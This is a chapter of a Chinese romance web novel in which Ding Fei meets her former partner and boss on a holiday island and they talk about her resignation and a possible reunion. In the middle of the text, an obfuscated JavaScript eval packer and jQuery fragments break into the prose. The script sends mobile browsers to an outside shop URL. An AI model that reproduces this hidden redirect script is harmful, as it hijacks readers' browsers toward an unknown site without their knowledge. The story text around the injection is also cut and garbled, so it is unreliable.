丁斐次日醒来,想起自己藉着酒意给邝时楠打的那通电话,顿时后悔不已。她打开和邝时楠的聊天框,编辑了一大段话想解释,却觉得欲盖弥彰,她懊恼地薅了把头发,扔掉手机,把头埋进了被子里。
丁斐没有勇气,再被邝时楠拒绝一次。她在被窝里当了会乌龟,最终还是决定删掉了刚刚编辑好的短信,当作昨晚什么事都没发生过,继续她的度假生活。
相比西北霜寒地冻的这半年,布雅岛的日子可就太舒服了,丁斐跟着米娜走进扎凡的店里时,后者终于想起她是谁,两人寒暄了几句,听说她要潜水,扎凡干脆得给她打了个大折扣,可在听到米娜说要带她出海时,扎凡明显有些犹豫,他担忧地问米娜:“你可以吗?”
自从夏菲克出事,米娜就没再下过水,扎凡担心她还有心理阴影。
米娜看出扎凡的想法,她提议:“要不你也一起?”
扎凡正有此意。这会还没到岛上的旺季,还有两个教练也还闲着,托米娜的福,丁斐这个拿了OW证后已近两年没有下过水的菜鸟新手,用团购的价格,享受了回一对四的顶级待遇,搞得她入水的时候太紧张,扑腾了好久才翻出水面,但她的四个教练谁也没有嘲笑她,耐心地带她重新熟悉海下世界。
丁斐晚上回去把这事说给康茵听后,康茵对她的嫉妒无以言表,她感慨:“这就是人脉的好处!虽然你现在和Kevin分手了,但是去了他曾经的地盘,他原来同事还是会看在他的面子上,给予你适当的照顾。别的不说,钱是实打实省下了。”
丁斐不乐意了,她立马撕下面膜反驳:“就不能是因为我人品好?”
“切,你跟他们才认识多久?丁小斐,你就承认吧,你就是借了你前男友的光。”
“……”
行吧。
丁斐承认,康茵说的有一定道理,毕竟当初离开布雅岛时,潜店的教练们都默认了她和邝时楠的关系,后者离岛后,想来也并非跟旧日同事毫无联系,否则,卡姆不会在看到她的第一眼就找邝时楠。
“想开点,这也也没什么不好的,不进省钱了,体验感还拉满。”
“说得也是。”丁斐没再纠结。
丁斐出海FD三天,剩下的时间里,白天在岛上的沙滩音乐吧躺平,晚上就去卡姆的咖啡厅喝一杯小酒,有时候米娜会陪着她,有时候就她一个人,偶尔也会有男人过来和她搭讪,丁斐心情好的时候会跟他们聊两句,但在对方提出进一步发展的时候,她便会礼貌地拒绝。
有一次被米娜看见了,她调侃:“刚才那帅哥身材不错呀,不试试?”
丁斐美滋滋地嘬了口椰汁,放松地靠在椅背上:“我是来散心的,不想再发展一段爱恨情仇。”
米娜听懂了,她难得笑了:“其实当初你离岛的时候我挺内疚的。”
“嗯?”
“我和Kevin认识好多年了,我看得出来他是真的对你上心了,我也知道他不属于这里,你来之后,我一直觉得他或许会跟你一起离开,但是篝火晚会那天夏菲克……”
米娜说到此处顿了顿,才继续道:“那晚你突然说要走,我都懵了,后来才回过味来,你可能是因为我说的那些话才临时决定要走的。我去找Kevin道歉,他让我不要多想,说你本来就是要走的,但我心里始终过意不去,后来听说你们重逢了,我才好受一点。”
丁斐当初确实是因为米娜的一番话才决定提前离开,但也不全然是因为这个,她那会本来也没打算和邝时楠发展一段长期关系。
“米娜,我告诉你一个秘密。”
米娜歪头:“什么?”
“其实我当初压根就不记得Kevin长什么样。”在米娜不理解的目光中,丁斐指了指自己的脑袋,“我小时候发烧,烧坏了脑子,留下了面孔失认的后遗症,当初在公司看到Kevin,我压根就没认出他,只是觉得这个老板莫名其妙。”
米娜呆了呆,忽地噗嗤笑出声来,她扶额消化了一下:“我的天……可怜的Kevin,他气死了吧?”
“嗯,气得够呛。但他也不说,我过了大半年才反应过来他是谁。”想起往事,丁斐不免莞尔,“他这个人,怎么说呢?性格挺别扭的,大部分时候表现得很沉稳,其实很记仇的,性格又闷,不开心他也不说,等他跟你秋后算账的时候,就有苦头吃了。”
米娜不禁困惑:“你说的是Kevin吗?”
在米娜印象里,邝时楠除了不太爱说话和对学员要求比较高外,脾气在潜店里已经算随和的了。
“嗯,他可凶了。他在公司里往那一站,好多同事都不敢说话。”丁斐模仿陈玲玲看到邝时楠的样子给米娜看,逗得米娜笑得一颤一颤的。
“Mina,Fei,你们聊什么聊得这么开心?”
卡姆不知什么时候来的,正端着杯饮料站在两人旁边。
米娜“哟”了一声:“你怎么来了?希娅呢?”
卡姆耸耸肩:“她走了,把我抛弃了。”
他嘴上这么说,脸上却没有一点失落,估计只把这当成一段露水情缘。
卡姆在丁斐身边的躺椅上躺下,感慨:“女人啊,真的好无情。”
他偏头看向丁斐,哀怨地说:“我的女朋友们就没有一个回岛上来找我的,她们都只是贪图我的帅气,不像你,Fei,Kevin都走了,你还恋恋不舍地回来了,要不你留下来当我女朋友吧?”
丁斐:“……”
米娜直接抄起拖鞋丢过去:“要点脸吧?”
卡姆连忙笑嘻嘻躲开。
丁斐认真思忖片刻:“其实也不是不可以。”
话音刚落,米娜和卡姆都怔住了。
丁斐笑眯眯说:“毕竟卡姆这么帅,我也不吃亏啊,而且,如果能生一个混血宝宝的话,肯定很好看。”
米娜皱眉问:“你认真的?他就是个浪子。”
卡姆不乐意了:“Mina,你怎么可以这么说我,我对我的女朋友都很深情的。”
米娜不给面地翻了个白眼。
丁斐似笑非笑地看向卡姆。
“你来真的?”卡姆纠结了一会,还是惊恐地搬着凳子往旁边挪了挪,“不行,Kevin知道绝对会打死我的。”
“我答应了,是你自己不愿意的,那就不关我事了。”丁斐回头,朝米娜调皮地眨了眨眼。
米娜反应过来她是在逗卡姆,于是会心一笑,也加入了调戏卡姆的队伍,吓得卡姆举手投降,请两人吃晚饭赔罪。
吃过饭,丁斐去卡姆酒吧听了会歌,就回了酒店。她发现隔壁一直空着的一零六房间亮了灯。
丁斐没太在意,她回房间洗澡,看着时间还早,就披了条围巾出了门,刚在门口的躺椅上躺下没多久,隔壁木屋房门也响了,她下意识扭头看过去,就见隔壁房间走出一个男人,屋外没开灯,晚上的月色也不是太明亮,丁斐看不太清楚男人的脸,只依稀感觉是个年轻男人,对方似乎也看了她一眼,就在自己门口的躺椅坐下了,隔着木栅栏就更看不清了。
丁斐收回视线,视线重新落回到自己的手机上。忽地,她不适地皱了皱眉,她总感觉,隔壁那男人的视线好像一直落在自己身上。丁斐虽然这几天总被人搭讪,但她不太喜欢被人这么直白地盯着,她果断收起手机,起身回房间。
锁好门,丁斐才松了口气,她给米娜发消息:我隔壁好像住了个变态,一直盯着我看。
米娜:要不要我过去陪你?
丁斐:应该没事,我回房间了。
米娜:有事给前台打电话,你就报卡姆的名字,管用。
丁斐:好。
她决定,明天找前台换个房间。
这一夜如往常般安稳,但丁斐还是心生忐忑,她醒来洗漱完就打算去找前台换房间,岂料她刚开门穿好鞋子,隔壁那人也开门出来了。此时是大白天,丁斐并不害怕,她没好气地扭头瞪过去,刚好对上男人那双湛黑的瞳眸,这对眉眼她很熟悉,还有那过分深邃的眼窝。
丁斐呆了一瞬,心里的那点恼怒瞬间荡然无存,心脏开始扑通扑通跳了起来,她看着男人怔怔道:“邝时楠?”
邝时楠没出声,他低头穿好鞋,丁斐直愣愣地看着他走出自己的木屋,不疾不徐地站定在她的木屋下。
丁斐回了神,她欣喜又紧张地朝邝时楠小跑过去,站在台阶上低头与他相望,小心翼翼地出声:“你怎么来了?”
邝时楠双手插兜,眉眼冷淡,像两人刚认识的那样,语气也是平静无波的:“度假。”
这久违的声音。
丁斐心头好像有只小鹿乱撞,她开心疯了,思念了大半年的人,如今这么猝不及防地出现在她面前,教她欣喜若狂。
“你是不是……”
“我要去吃早饭。”
丁斐话没说完就被他冷淡打断,她有些悻悻地垂下头:“哦,那我也去。”
邝时楠不再看她,率先扭头朝餐厅走去,丁斐连忙下楼梯跟了上去。餐厅的工作人员认出了邝时楠,热情地和他打招呼,丁斐像个人形附件,乖巧地站在他旁边,她已经在岛上呆了几天,工作人员对她有印象,朝她笑了笑,扭头继续和邝时楠说话了。
他们说的是当地语言,丁斐听不懂,不知聊到了什么,只见邝时楠回头看了她一眼,然后又若无其事地和熟人谈笑风生了。
很快,两人取了餐,坐到了餐桌旁。
丁斐欲要开口,邝时楠却好像早有察觉一样,头也不抬地说:“先吃饭。”
“哦。”
丁斐只能咽下已经到了嘴边的话,低头吃饭。她一边吃饭,一边打量着邝时楠的神色,丁斐不理解了,邝时楠不会突然来布雅岛度假,还那么凑巧地就住在她旁边,但若是为了她来的,这态度又是什么意思?
他还在生气吗?
那她哄哄?
丁斐带着一肚子的疑惑吃完了早餐,邝时楠似乎没有要出去逛逛的意思,他径直朝回木屋的小石径走去,丁斐也只能跟上,邝时楠踩上台阶,转身看向丁斐。
“你还跟着干嘛?”
他目光朝隔壁丁斐木屋方向睇了睇。
丁斐绞着手指,仰头看向他:“我有话跟你说。”
“我也没有必须听的义务吧?”
丁斐愕然,她怔怔地看着邝时楠。
邝时楠淡声开口:“职级升一级,薪水上调百分二十。”
丁斐懵了:“什么意思?”
“你还想要什么条件,可以提,只要合理,我都可以满足。另外,如果是因为我的关系,那你不用担心,我的办公室已经调整到楼上了,以后除非必要,否则我们也没有什么机会碰面,公司也不会因为你我之前的关系,而对你有什么偏颇。”
“之前?”丁斐听出他话里话外的意思,原本雀跃的心直接凉了下来,她怔怔道,“你是来跟我聊离职的事?”
“不然我们还有什么其他的事可聊?”邝时楠垂下眼脸看她,“如果你非要离职也行,由于你的岗位涉及了公司核心技术机密,当初入职的时候HR也有和你签过竞业协议,你离职后会有两年竞业期,竞业期内,你不能再从事相关行业岗位。”
丁斐脸色微微一变。
“你好好考虑一下。”
邝时楠说完,转头进了屋,丁斐眼睁睁地看着房门在自己眼前关上,她垂眸在台阶下站了很久,才转身回了自己的房间。
米娜发来消息。
Mina:醒了吗?你隔壁那个变态,后来有再做什么吗?
丁斐回了神,连忙解释:不是变态,我误会了,是Kevin。
Mina:哟,他来找你复合的?
丁斐苦笑:他是来找我聊离职的。
Mina:What?
丁斐心情很乱,她没再回米娜。
她坐在沙发上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949250|204810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
思考了很久,最终起身,去隔壁敲响了邝时楠的门。
没一会,邝时楠开了门,他扶着门站在门口,静静地望着她:“想好了?”
丁斐问:“我可以进去说吗?”
邝时楠挡在门口,并没有想让她进去的意思。
丁斐眼底暗了下去,垂在身侧的手指也不由蜷紧,她低声说:“邝时楠,对不起,我当时不应该说走就走,可是那时候我爸刚过世,我脑子很乱,我不知道该怎么办,所以没有考虑到你的情绪。”
邝时楠扶着门框的手指收紧,语气却是平静的:“你有什么错?我们当初也不是男女朋友关系,你想去哪里就去哪里,没必要考虑我的情绪。丁斐,事情已经过去这么久了,我早就放下了,你无需跟我解释,如果你不是来跟我谈工作的事,就请回吧。”
丁斐被他疏离的语气刺得心脏骤疼,她呆呆地看着邝时楠好一会儿,垂眸:好,那我跟你谈工作的事……”
丁斐抬眸,怀着期待问:“你希望我留在深流吗?”
“出于公司利益考虑,我当然不希望流失一个优秀的人才,但人各有志,如果你决意要离开,我也不会阻拦,只是先把利害关系跟你说明白,选择权在你手上。”
“那我就留。”丁斐看向邝时楠,苦笑,“邝总,你话都说到这个份上了,我再不留下,就多少有些不知好歹了。”
邝时楠垂在身侧的手指动了动,但又被他压下来,他只要想到丁斐这个心狠的女人,除了元旦夏菲克出事那次,这半年来一条讯息都不给他发,还一声不吭提了离职,他就气得不打一处来。
哦,对,前几天她难得给他打电话说了几句软话,那还是因为喝了酒。
邝时楠阖了阖眸,把情绪压了回去:“我知道了,你回去吧。”
他作势要关门,却被丁斐伸手抵住,邝时楠眉心一拧:“还有事?”
见丁斐眼底似有犹豫,邝时楠也没再关门,安静地等她再次开口。
丁斐咬了咬唇,她觉得自己既然已经和邝时楠走到这个地步,那干脆打开天窗说亮话,不再给自己留遗憾,打定主意后,她抬头望向邝时楠的眼睛:“你和那个叫做冯婧琪的女孩在一起了吗?”
邝时楠冷笑:“这跟你有关系?”
“有关系。”丁斐眉眼认真,“如果你们没有在一起的话,我可以追你吗?”
邝时楠呼吸微微一滞,握着门的手指绷紧,骨节泛白。
“没有。”
丁斐先是一愣,随即脸上就爬上了喜色,还没等她高兴过来,门忽然“砰”了一声,邝时楠给她吃了个闭门羹。
丁斐一点都不恼,她在邝时楠门口傻笑了一会,欢天喜地地回了自己的小木屋。
邝时楠站在窗口,看着丁斐蹦蹦跳跳地离去,嘴角终究还是忍不住扬起一丝笑意。
庄意就好像掐了点一样电话打了过来。
“人见到了吧?我是应该批离职申请呢?还是让HR走工资职级调整?”
邝时楠按了按眉心:“回去再说。”
“懂了,谈妥了,我去找HR沟通丁斐的职级调整。你说你早这样多好,差点我就要失去一名能干的下属,我总算明白为什么有的公司禁止办公室恋情了,太影响公司效益了。”
“……”
“不过婧琪那边你打算怎么办?丁斐回来要是看到你前女友的妹妹在公司,还时不时往你办公室跑,心里难保不会多想。”
邝时楠眉眼沉了下去:“她是通过正规招聘渠道入职的,我也不能师出无名就让她走,让我再想想吧。”
“我早说她跟靖宜不一样,这小妮子心眼可比她姐多多了,她口口声声说不想让你额外关照,才自己面试入了职。既然这样,就不该总往你办公室跑,这不是明摆着让人知道她有靠山。设计部的刘鸣前两天还来找我探过口风,问我她是不是你的小女友,我说不是,人家还不信。她既然当初能通过面试进来,说明能力确实不差,要是踏踏实实工作,你看在靖宜的面子上对她照拂一二也无可厚非。但我要提醒你,如果丁斐回来后,她还像之前那样没有分寸,你们两迟早要出问题。”
邝时楠思索片刻,说:“我让时溪有空去趟公司。”
“嗯?”
“苏毅在追时溪,对她有求必应,带她参观一下设计部应该不是难事,你到时候伺机行事吧,她跟婧琪从小就有点不对付,你看着她一点,不要让她闹得太难看。”
庄意很快就反应过来:“这办法好,小孩子打闹而已,既能解决婧琪的问题,又不伤你们两家长辈之间的交情。放心吧,我来安排。”
“嗯,谢了。”
……
丁斐回到自己房间,在床上翻来覆去傻乐了好久,想给邝时楠发消息,约他中午一起吃饭,但又觉得他人就在旁边,发消息不够郑重,于是连忙起来认真化了个妆,卷了头发,又挑了件新买的连衣裙,对着镜子转了一圈,确认自己各方面都很完美后,才掐着点去到隔壁敲响了门。
邝时楠开门,看到盛装打扮的丁斐被惊艳了一下,但他很快就调整过来,故作冷淡道:“什么事?”
丁斐喜滋滋地说:“来找你一起去吃饭。”
邝时楠心想,这语气,好像笃定了他会答应一样。
“等下,我拿下手机。”
丁斐“嗯”了一声,低眉顺目地站在门口等。
邝时楠拿了手机,拉上门:“走吧。”
两人并肩走在小路上,丁斐问:“你想吃什么?布雅岛的特色菜还是漂亮饭?”
“漂亮饭?”
“就是精致、有氛围感,很出片的那种,岛上新开了家法国餐厅,昨天卡姆请我和米娜去了,还不错呢。”
听到卡姆的名字,邝时楠顿住了脚步,在丁斐不解的目光中,他的双唇缓缓翕动:“听说你想做卡姆女朋友?”
他眼底略沉:“还想跟他生一个混血宝宝?嗯?”